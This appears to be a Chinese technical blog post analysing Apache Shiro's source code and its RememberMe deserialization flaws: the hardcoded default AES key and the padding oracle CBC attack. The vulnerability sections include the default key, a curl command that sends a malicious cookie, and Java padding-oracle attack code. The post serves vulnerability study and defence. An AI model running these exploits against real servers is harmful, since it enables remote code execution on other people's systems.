0x00 前言
Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.
Apache Shiro是一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。通过Shiro易于理解的API,您可以快速、轻松地保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。
Apache Shiro框架功能主要由以下几个部分组成:
- Authentication:身份认证-登录
- Authorization:授权-权限验证
- Session Manager:会话管理
- Cryptography:加密
- Web Support:Web 支持
- Caching:缓存
- Concurrency:多线程
- Testing:测试模块
- Run As:允许一个用户假装为另一个用户
- Remember Me:记住我-Session过期后再次登录无需再次登录
一个包含如此多功能模块的框架,我一向认为其必然存在着我们发现和未发现的安全漏洞,而事实也是如此,早在Shiro 1.2.4版本前,就被暴露了Cryptography模块因为默认AES加密key导致Remember Me模块的反序列化漏洞,在其被修复(每次启动都生成一个新的AES加密key)的几年后,依然是这个地方,出现了令我万万没想到的Padding Oracle漏洞,我一直以为这样的漏洞也就CTF会出现,这个洞也警醒了我,CTF每一个知识点,在真实漏洞挖掘中,都非常重要。
而本篇文章,我将会用我一贯的源码浅析方式,对Apache Shiro的核心部分代码进行讲解,并且最后会以1.2.4版本的远古洞的触发原理,对源码进行深入的讲解,接着引出最新的Padding Oracle CBC Attack,从而让我们在看完这篇文章后,能熟悉的写出Shiro exploit,并对Shiro框架的主要原理聊熟于胸,还有最重要的一点是,现在网络上很多讲解漏洞的文章,都是简单的讲解漏洞,对这些框架的使用方法以及使用场景等都缺乏描述,对新手极度不友好,
0x01 Shiro源码浅析
在进行源码浅析之前,我们先了解一下Shiro如何在一个SpringMVC项目中简单的使用。
1. Shiro简单使用
我曾经在做Java开发的时候,我有幸为几个系统加入过Shiro框架,也对其功能不足处进行了一些简单的定制修改。
曾经有个系统后台由于不满足等保要求,需要对其后台的登录验证进行重构,在其重构的过程中,我发现该后台只有单个硬编码的用户账号,而该账号被业务方大量的运营和开发人员使用,对于后台任何的配置和功能都能进行修改,这是一个极大的安全隐患,因此,我考虑在重构的后台系统中,加入了Shiro,为后台系统加入若干的特性,使其更加的安全坚固:
- 多用户支持
- 用户数据存库
- 权限精细化-粒度到页面按钮
- 用户禁用
- 等等…
多用户支持 和 用户数据存库:原系统仅有单个硬编码账号,源码泄露将会导致账号密码泄露。而运营也是一个很大的不稳定因素,如果某个运营对一些关键配置进行了修改,将会威胁到系统的稳定运行。
权限精细化-粒度到页面按钮:前面也说了运营用户的潜在不稳定因素,所以加入了权限精细到页面按钮的的权限管理,可以控制每个运营人员具备的权限功能,对于一些涉及到系统安全的功能,我们就能更好的控制。
用户禁用:在后台系统中,我们会对每个账号的操作进行操作日志的持久化,如果我们发现某个账号进行了大量的敏感操作,存在安全风险,我们可以通过用户禁用功能对其账号进行快速的禁用。
以上就是我对Shiro使用的一些简单总结,除此以外,还有很多,比如我曾经在某个古老的项目中使用Shiro后,没办法通过注解方式对接口方法进行权限的控制,最后得益于Shiro优秀的设计,通过一些比较特殊的方法达到方法级的权限控制等。
在简述了我对Shiro的一些使用后,我们接下来就讲讲Shiro,如何去配置使用。
1.1 依赖(pom.xml)
1 | <dependency> |
1.2 web配置(web.xml)
1 | <!-- spring 配置--> |
1.3 shiro配置(spring-shiro.xml)
1 | <?xml version="1.0" encoding="UTF-8"?> |
1.4 登录和注销接口
1 | @Controller |
以上便是SpringMVC web中Shiro简单使用的依赖、配置、接口等,通过其,我们就能畅快的使用shiro的各种特性和功能了。
2. 源码运行原理
回顾上面的Shiro的web配置,我们可以发现其中有一个filter的配置
1 | <filter> |
从明面上我们只要写过Spring项目都不会陌生,filter注册了一个过滤器,而filter-mapping是对其filter访问过滤url的一个匹配配置,也就是说,上面的filter-mapping配置,规定了shiroFilter这个过滤器,将会过滤任何一个请求到该项目的http请求。
不过,这里还有一个重点,就是DelegatingFilterProxy这个利用了门面模式设计的一个class,它是一个filter的代理类,通过这个类可以代理一个spring容器管理的filter的生命周期,也就是说,可以在Spring容器中创建一个filter bean,然后注入一系列依赖,这个bean可以用代理的方式配置到web.xml中使用。
我们再看会前面的spring-shiro.xml文件,其中,我们配置了这样的一个bean
1 | <!-- 对应于web.xml中配置的那个shiroFilter --> |
可以看到,它的bean id和我们在web.xml配置的filter名称是一样的,也就是说,这个filter是它的代理门面类,在访问该web项目时的任何一个请求,都将被shiroFilter这个bean进行过滤。
那么,接下来我们打开org.apache.shiro.spring.web.ShiroFilterFactoryBean这个bean,因为他是一个FactoryBean,因此,在该类的bean真正被使用的时候,会调用其getObject()方法
1 | /** |
看方法注释可以清楚的看到,这是一个懒加载的bean,当使用到它时,才会调用其getObject()方法,然后再该方法中,我们可以看到,通过createInstance()创建一个真正的实例作为该bean
1 | protected AbstractShiroFilter createInstance() throws Exception { |
回顾一开始我们在bean配置文件对ShiroFilterFactoryBean配置,SecurityManager我们配置的是org.apache.shiro.web.mgt.DefaultWebSecurityManager,一个默认的web安全管理器,这个web安全管理器配置了一个realm,该realm我们可以使用shiro包内置的jdbc快捷使用的org.apache.shiro.realm.jdbc.JdbcRealm,也可以我们自定义去实现登录验证和授权相关方法的realm,总的来说,通过web安全管理器,我们可以配置相关的登录验证和授权配置,这也是使用shiro中非常关键的一点。
1 | <!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 --> |
如果我们想要使用简洁预置的JdbcRealm,我们只要创建三个表(用户、角色、权限),并把相应的sql查询语句设置好,就能快速的使用Shiro的Jdbc持久化用户、角色、权限数据。
在createInstance()方法的一开始,就会对我们设置的web安全管理器进行校验,只有满足情况下,shiro的功能才能继续并正确使用。
接着,调用其createFilterChainManager()方法,创建一个过滤器链的管理器,它也是shiro中非常核心的部分,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,然后把它添加到我们要创建的过滤器链的管理器(FilterChainManager),在访问到符合规则配置的path时,就会到达我们添加的图形、短信验证码校验filter中。当然,除了图形、短信验证等逻辑外,我们一般给一些页面、接口,设置成游客可访问,或者登陆状态可访问,亦或者使用rememberMe功能(在用户Session过期后,可以通过Cookie的RememberMe进行重新免登陆认证)等等。
创建好FilterChainManager后,就会把它设置到一个新建的PathMatchingFilterChainResolver中,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求。
最后创建一个内部的静态类SpringShiroFilter返回,作为该工厂bean实际创建的bean对象。
我们进一步跟进createFilterChainManager()方法
1 | protected FilterChainManager createFilterChainManager() { |
可以看到在创建FilterChainManager的地方,可以分为三个创建步骤
- 默认创建的,对其自带的Filter进行全局配置的设置
1 | DefaultFilterChainManager manager = new DefaultFilterChainManager(); |
1 | private void applyGlobalPropertiesIfNecessary(Filter filter) { |
那默认自带的filter究竟有哪些呢?跟进DefaultFilterChainManager一探究竟
1 | public DefaultFilterChainManager() { |
1 | protected void addDefaultFilters(boolean init) { |
可以看见,其构造方法调用了addDefaultFilters方法,把DefaultFilter枚举类进行了遍历,然后添加到filter集合中
查看该枚举类,可以发现一共有11个预置的filter:
1 | anon(AnonymousFilter.class), |
而其中,我们最常使用的大概是:
1 | 1. anon:无需登录认证即可访问 |
以上这些便是第一步所做的一切。
- 对我们要添加或者修改的filter进行遍历配置
1 | Map<String, Filter> filters = getFilters(); |
不像前面默认预置的filter,从枚举类遍历获取,我们添加或修改的filter,都是首先设置到ShiroFilterFactoryBean中的,所以会从其中读取所以我们需要添加、修改的filter出来,然后进行全局的配置设置
在这一处,我们添加或修改的filter,其实就如我们前面所讲的,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,这里面的filter就是这一步中遍历的filter了。
- 创建过滤器链(filter chains)
1 | Map<String, String> chains = getFilterChainDefinitionMap(); |
可以看到,getFilterChainDefinitionMap()方法读取的集合,其实回顾到我们前面所描述的配置spring-shiro.xml中,可以看到,我们其实做了这样的一个配置
1 | /html/admin/**=authc,roles[admin] |
在第一步,就讲述了默认内置的filter具有哪些,以及一些常用的filter
可以看到,上面的四个FilterChainDefinition,都使用了最常用的filter
- /html/admin/**:该路径的请求,需要当前用户在登录认证后的状态,以及用户为admin角色时才可访问
- /html/user/**:该路径的请求,在用户曾经登录认证时,勾选了RememberMe,在后续登录状态,也即Session过期后,可以通过Cookie中的RememberMe进行免登录认证
- /jsp/admin/**:与上述/html/admin/一致
- /jsp/user/**:与上述/html/user/一致
也就是说,过滤器链的创建,跟这个FilterChainDefinition紧密关联,对于每一个path的配置,都会创建一个相应的过滤器链
看到这里,应该还会有人问,什么是过滤器链?
在shiro中,过滤器链就是我们前面两个步骤中的过滤器组成的一条链,当一个符合路径规则的请求进来后,都需要通过其执行一系列的过滤。
回到createInstance()方法,我们继续跟到下一个,也就是我们之前所说的PathMatchingFilterChainResolver的创建,前面也讲过了,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求,也就是说,我们前面根据配置创建的过滤器链,需要通过这个resolver,才能知道某个请求执行哪一个过滤器链,为了一究其匹配原理,我们跟进PathMatchingFilterChainResolver
审阅代码,可以看到一个关键的方法-getChain()
1 | public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { |
这个方法主要做了三件事情:
- 获取并检查FilterChainManager
- 获取当前请求的URL
- 遍历过滤器链filter chains,匹配当前请求URL相应的filter chain去执行
而上面第三件事情,就是PathMatchingFilterChainResolver的核心,它通过遍历我们前面创建的所有filter chains,回顾前面我们对FilterChainDefinition的配置,它的URL都是一个正则的匹配字符串,也就是说,通过它去正则匹配当前请求的URL,只要能匹配上的第一个filter chain,就是所要执行的过滤器链。
在PathMatchingFilterChainResolver创建成功后,最后会把我们所创建的SecurityManager和PathMatchingFilterChainResolver,参与到SpringShiroFilter的实例化中来,并作为真正的ShiroFilterFactoryBean返回。
SpringShiroFilter是ShiroFilterFactoryBean的一个静态内部类,它通过继承AbstractShiroFilter来实现shiro的核心功能(过滤请求)
1 | private static final class SpringShiroFilter extends AbstractShiroFilter { |
先上跟进AbstractShiroFilter以及其父类OncePerRequestFilter,并继续向上跟进源码,我们可以发现,最早它们都实现了javax.servlet.Filter,所以表明它们就是一个不折不扣的过滤器,查看OncePerRequestFilter的源码也能发现其对doFilter()方法的实现,看到这里,大家也会很清晰了,这个filter在请求进来的时候,通过过滤器肯定是会执行到这个方法
1 | public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) |
在正常使用情况下,基本都是执行到doFilterInternal()方法,在跟进它的源码可以发现,它是一个抽象方法,因为OncePerRequestFilter是一个抽象类1
2protected abstract void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain)
throws ServletException, IOException;
既然这是个抽象类,那么大概这个方法的实现是在其子类里了,果不其然,在其子类AbstractShiroFilter中
1 | protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) |
这个方法,我总结一下,主要做了两件总要的事情:
- 创建Subject
- 执行filter chains
那么我们一一跟进去,看看它们到底是如何工作的。
跟进createSubject()方法
1 | protected WebSubject createSubject(ServletRequest request, ServletResponse response) { |
它通过了WebSubject的Builder,使用了创建者模式去创建这一个Subject的实现WebSubject
继续跟进buildWebSubject()方法
1 | public WebSubject buildWebSubject() { |
Subject->buildSubject1
2
3public Subject buildSubject() {
return this.securityManager.createSubject(this.subjectContext);
}
最终可以发现,是通过我们配置的web安全管理器(WebSecurityManager)来创建Subject的
1 | public Subject createSubject(SubjectContext subjectContext) { |
- SubjectContext context = copy(subjectContext);
对SubjectContext的一个简单复制,因为每次请求都应有它自己的一个上下文,不应该混合,所以每次请求,都会通过它去复制一个SubjectContext用于本次请求
- context = ensureSecurityManager(context);
把安全管理器设置到SubjectContext中
- context = resolveSession(context);
通过上下文中存储的session id,去会话管理器,回顾我们前面的配置,可以知道是一个ehcache的会话管理器,意味着,我们得回话都是存储在缓存中的,使用ehcache可以更方便的进行集群部署,以同步回话数据
- context = resolvePrincipals(context);
这个是RememberMe的核心处,也是我们后面要详细讲的地方
- Subject subject = doCreateSubject(context);
根据前面做的事情,在这一步创建Subject
- save(subject);
把Subject保存到Session中
上面几点就是createSubject()方法逻辑的大概总结
接下来我们进一步去分析RememberMe模块的逻辑,跟进resolvePrincipals()方法
1 | protected SubjectContext resolvePrincipals(SubjectContext context) { |
此处可以看到,是从上下文解析出凭证信息PrincipalCollection,如果获取不到,就会调用getRememberedIdentity()方法获取,最后设置到上下文中
1 | protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { |
回顾前面的安全管理器的bean配置,我们可以清楚的记得其实现class是org.apache.shiro.web.mgt.DefaultWebSecurityManager,也就是当前类DefaultSecurityManager的子类
我们观察该子类的构造方法
1 | public DefaultWebSecurityManager() { |
从构造方法可以很清楚的了解到,RememberMeManager的实现为CookieRememberMeManager
那么,我们继续跟进到getRememberedPrincipals()方法中来
1 | public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { |
其中,主要就是两个点
- 从cookie中读取rememberMe值,通过base64解码后再进行AES解密,得到其解密后的字节数据bytes
- 把解密后的字节数据bytes反序列化为PrincipalCollection对象
那么,聪明的人就会发现,如果我们可以控制解密后的明文,我们就可以实现反序列化RCE了
0x02 反序列化远古洞(Shiro <= 1.2.4)
前面讲到了RememberMe这个点,接着,我们跟进1.2.4这个shiro版本的源码,去分析一下这个远古洞产生的原因吧。
RememberMeManager的实现为CookieRememberMeManager,我们延续上一章,跟进其源码getRememberedPrincipals()方法实现,可以发现,CookieRememberMeManager并没有其实现方法,在向上跟踪时发现,它是继承了org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,所以我们跟进到AbstractRememberMeManager的getRememberedPrincipals()方法实现
1 | public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { |
而getRememberedSerializedIdentity()抽象方法由其子类CookieRememberMeManager实现
1 | protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { |
通过调用SimpleCookie的readValue()方法读取了一个base64的cookie值
1 | public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME = "rememberMe"; |
通过审阅CookieRememberMeManager源码可以发现,该cookie名为rememberMe
1 | private String ensurePadding(String base64) { |
接着通过调用ensurePadding()方法,如果rememberMe的base64值不符合规范,就会对其进行=符号的补充
最后调用1
byte[] decoded = Base64.decode(base64);
对其base64解码返回
回到方法getRememberedPrincipals()
1 | public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { |
接着是对base64解码后的数据执行convertBytesToPrincipals()方法,看名称,其实表达了很清晰的含义了,就是把字节数据转换为凭证
1 | protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { |
其中decrypt()方法就是对其进行ASE解密,然后由deserialize()方法对其解密数据进行反序列化
1 | protected byte[] decrypt(byte[] encrypted) { |
这里有一个很关键的地方,也是这个远古漏洞造成的原因,就是getDecryptionCipherKey()方法
1 | public byte[] getDecryptionCipherKey() { |
它返回了一个AES解密的key,通过跟踪其设置的代码,可以跟到
1 | public void setCipherKey(byte[] cipherKey) { |
1 | private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); |
没错,这个AES解密的key在默认情况下,是一个预置的值,那么到这里,这个漏洞的成因以及完全剖析结束了,那么,我们试试效果?
这是我测试的exploits:
1 | import sys |
通过这个exp,就能生成攻击的cookie,最后使用这个cookie,就能达到RCE
1 | curl -d "" "http://A.B.C.D:8080/login" --cookie "`cat payload.cookie`" |
漏洞的修复:
在爆出这样的一个漏洞后,shiro官方的修复手段也很简单,就是让shiro每次启动,都会随机生成一个新的key作为AES解密的key,从而修复这个远古洞。
1 | public AbstractRememberMeManager() { |
0x03 PaddingOracle CBC Attack(shiro <= 1.4.1)
在好几年前的远古洞被修复之后,为何在前段时间,又爆出了新的RCE洞,而且还是在AES这个地方。
基本上,玩过CTF的人,大部分都了解过padding oracle和cbc翻转攻击,如果不太了解的,我建议看看《我对Padding Oracle攻击的分析和思考(详细)》这个文章。
要进行padding oracle攻击,需要目标系统满足一个条件,就是对于ASE解密时padding的正确与否,目标会返回一个明确的信息,类似布尔盲注。
我们转到被爆出漏洞的shiro版本(1.4.1)源码
回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals这个方法
1 | public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { |
我这里列出一条执行方法栈
1 | protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { |
->
1 | protected byte[] decrypt(byte[] encrypted) { |
->
1 | public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { |
->
1 | private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException { |
->
1 | private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException { |
这个执行栈有点长,但最终执行到最后一步crypt()方法时,如果解密出现padding错误的话,就会直接抛出异常1
throw new CryptoException(msg, e);
,一直向上,直到我们刚刚说的getRememberedPrincipals()方法,接着被try、catch捕获异常,由onRememberedPrincipalFailure()方法进行处理
跟进其方法发现,forgetIdentity()方法在当前的AbstractRememberMeManager类并没有实现
1 | protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { |
跟进其实现类org.apache.shiro.web.mgt.CookieRememberMeManager#forgetIdentity(org.apache.shiro.subject.SubjectContext)
1 | public void forgetIdentity(SubjectContext subjectContext) { |
1 | private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { |
可以看到,最后调用的是rememberMe这个cookie对应的SimpleCookie对象的removeFrom()方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18public static final String DELETED_COOKIE_VALUE = "deleteMe";
public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
String name = getName();
String value = DELETED_COOKIE_VALUE;
String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
String domain = getDomain();
String path = calculatePath(request);
int maxAge = 0; //always zero for deletion
int version = getVersion();
boolean secure = isSecure();
boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all
SameSiteOptions sameSite = null;
addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly, sameSite);
log.trace("Removed '{}' cookie by setting maxAge=0", name);
}
很简单,源码可以看出来,覆盖掉了rememberMe这个cookie的值为deleteMe
那么,答案就呼之欲出了,只要padding错误,服务端就会返回一个cookie: rememberMe=deleteMe;
那么,上面讲述了padding错误的返回特征后,那么padding正确的特征到底是如何呢?
因为java原生的反序列化,是按照约定的格式读取序列化数据,一步一步反序列化的,那么也就是说,我如果在序列化数据后面加入一些数据,是不会影响反序列化的,这里可以参考一下《浅析Java序列化和反序列化》
那么,既然在序列化数据后面加上一段数据,不会影响反序列化,也就是说,我们可以利用一个已有的rememberMe cookie值(AES加密的序列化数据),在其后加入一段数据,只要ASE能正确解密数据,就必然能被反序列化。
也就是说,在padding正常的情况下,反序列化能正常进行,web系统能知道我们的身份,在启用RememberMe,也就是配置了user的filter chain的接口或页面,就能正常的返回数据。
为什么说 配置了user的filter chain的接口或页面,就能正常的返回数据 ?
我们回到最初的org.apache.shiro.web.servlet.AbstractShiroFilter#doFilterInternal处,在创建完成Subject后,我们说过,会执行一个filter chain
1 | subject.execute(new Callable() { |
跟进其executeChain()方法
1 | protected void executeChain(ServletRequest request, ServletResponse response, FilterChain origChain) |
其中比较关心的是getExecutionChain()方法,通过调用这个方法,返回了一个FilterChain,然后执行其doFilter()方法过滤请求
1 | protected FilterChain getExecutionChain(ServletRequest request, ServletResponse response, FilterChain origChain) { |
到这里,我们应该隐约还有一些前面讲的内容的记忆吧?。。。没错,就是FilterChainResolver的实现PathMatchingFilterChainResolver,这里就是对其进行调用的地方了,通过调用其getChain()方法,找到相应的过滤器链执行过滤请求,那么,上面所说的user,对应的filter就是UserFilter
1 | public class UserFilter extends AccessControlFilter { |
重点在isAccessAllowed()方法,判断了请求是否是登录请求,若是,则直接通过,否则会从上下文中取出前面创建的Subject,其中含有前面反序列化rememberMe解密数据得到的PrincipalCollection,也就是说,只要能正常反序列化成功,那么这里就会直接通过。
从这里我们就可以知道,我们为什么需要一个配置为user的接口或者页面了。
好了,两个最重要的条件就出来了:
- padding失败,返回一个cookie: rememberMe=deleteMe;
- padding成功,返回正常的响应数据
如果我们要进行padding oracle攻击,那我们只要判断响应头是否包含有cookie: rememberMe=deleteMe;,就能确定padding是否正常了。
那padding oracle究竟如何去实现呢?这里我推荐p0’s师傅的文章《Shiro Padding Oracle Attack 反序列化》
我这里也自己手撸了一个Java版的shiro padding oracle cbc attack exploits,放在marshalsec,大家可以参考一下,https://github.com/threedr3am/marshalsec
熟悉Java代码的,很容易能看出来,下面的代码,每一轮padding爆破是把一个data数据拼接到原有的rememberMe cookie,然后请求web服务端,根据其响应做出判断1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23private void attack(byte[] bytes) {
byte[] originRememberMe = Base64.getDecoder().decode(rememberMe.getBytes());
CBCResult cbcResult = PaddingOracleCBCForShiro
.paddingOracleCBC(bytes, data -> {
try {
byte[] newRememberMe = new byte[originRememberMe.length + data.length];
System.arraycopy(originRememberMe, 0, newRememberMe, 0, originRememberMe.length);
System.arraycopy(data, 0, newRememberMe, originRememberMe.length, data.length);
return request(newRememberMe);
} catch (Exception e) {
e.printStackTrace();
}
return false;
});
byte[] remenberMe = new byte[cbcResult.getIv().length + cbcResult.getCrypt().length];
System.arraycopy(cbcResult.getIv(), 0, remenberMe, 0, cbcResult.getIv().length);
System.arraycopy(cbcResult.getCrypt(), 0, remenberMe, cbcResult.getIv().length,
cbcResult.getCrypt().length);
System.out.println("remenberMe=" + Base64.getEncoder().encodeToString(remenberMe));
request(remenberMe);
}
而下面的代码,就是像荐p0’s师傅文章所说的,不断用两个block,去padding oracle,得到middle后,接着进行cbc翻转攻击,把我们预期要解密出cbcResBytes,也就是一个序列化的攻击payload,一段段的利用cbc翻转,得到相应的密文,接着存储到res这个数值,在全部都遍历攻击完毕后,通过CBCResult这个对象返回1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33public static CBCResult paddingOracleCBC(byte[] cbcResBytes,
Predicate<byte[]> predicate) {
//填充期望结果长度为16字节的倍数
cbcResBytes = padding(cbcResBytes);
System.out.println("[payload-length]:" + cbcResBytes.length);
//该值为期望结果的组数-1,用于不断反向取出每组期望值去CBC攻击
int cbcResGroup = cbcResBytes.length / 16;
byte[] res = new byte[cbcResBytes.length];
byte[] iv = new byte[16];
byte[] crypt = new byte[16];
int paddingLen = 0;
for (; cbcResGroup > 0; cbcResGroup--) {
System.out.println("[padding-length]:" + (paddingLen+=16) + "/" + cbcResBytes.length);
byte[] middle = paddingOracle(iv, crypt, predicate);
byte[] plain = generatePlain(iv, middle);
byte[] plainTmp = Arrays.copyOf(plain, plain.length);
plainTmp = unpadding(plainTmp);
System.out.println("[plain]:" + new String(plainTmp));
byte[] cbcResTmp = Arrays.copyOfRange(cbcResBytes, (cbcResGroup - 1) * 16, cbcResGroup * 16);
//构造新的iv,cbc攻击
byte[] ivBytesNew = cbcAttack(iv, cbcResTmp, plain);
System.out.println("[cbc->plain]:" + new String(generatePlain(ivBytesNew, middle)));
System.arraycopy(crypt, 0, res, (cbcResGroup - 1) * 16, 16);
crypt = ivBytesNew;
iv = new byte[iv.length];
}
return new CBCResult(crypt, res);
}
参考
我对Padding Oracle攻击的分析和思考(详细):https://www.freebuf.com/articles/web/15504.html
Shiro Padding Oracle Attack 反序列化:https://p0sec.net/index.php/archives/126/
浅析Java序列化和反序列化:https://xz.aliyun.com/t/3847
marshalsec:https://github.com/threedr3am/marshalsec